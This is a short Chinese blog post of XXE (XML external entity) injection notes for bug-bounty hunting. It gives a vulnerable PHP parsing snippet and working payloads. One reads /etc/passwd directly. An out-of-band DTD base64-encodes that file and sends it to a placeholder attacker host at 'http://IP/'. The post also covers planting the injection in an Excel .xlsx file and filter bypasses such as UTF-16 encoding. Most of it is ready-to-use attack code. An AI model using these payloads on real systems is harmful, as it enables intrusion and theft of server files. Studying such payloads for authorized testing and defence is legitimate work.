XXE XML外部实体注入

1.漏洞点

解析 XML 的地方

Content-Type 包含 application/json,尝试将 json 换为 xml,然后提交 XML语句

<?php
$xml = simplexml_load_string($_POST[1], NULL, LIBXML_NOENT); // LIBXML_NOENT 允许引入 XML外部实体
print_r($xml);

2.利用方式

有回显

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>
    &xxe;
  </name>
</user>

无回显

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "http://IP/xxe.dtd">
%xxe;%remote;%send;
]>

xxe.dtd(&#37;是%的ASCII)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote "<!ENTITY &#37; send SYSTEM 'http://IP/%file;'>">

Microsoft Office

解析其中的 XML 时触发

Excel例:

shell.xlsx,改为shell.zip,解压

在 [Content_Types].xml 第二行注入 XML 语句,压缩,改为shell.xlsx

SRC实战:SRC漏洞挖掘经验分享:文件解析造成的XXE - LeiyNeKo - 博客园 (cnblogs.com)

3.绕过

去掉第一行 XML声明

对内容有限制,payload.encode('utf-16');

posted @ 2023-04-18 16:34  Hacker&Cat  阅读(70)  评论(0编辑  收藏  举报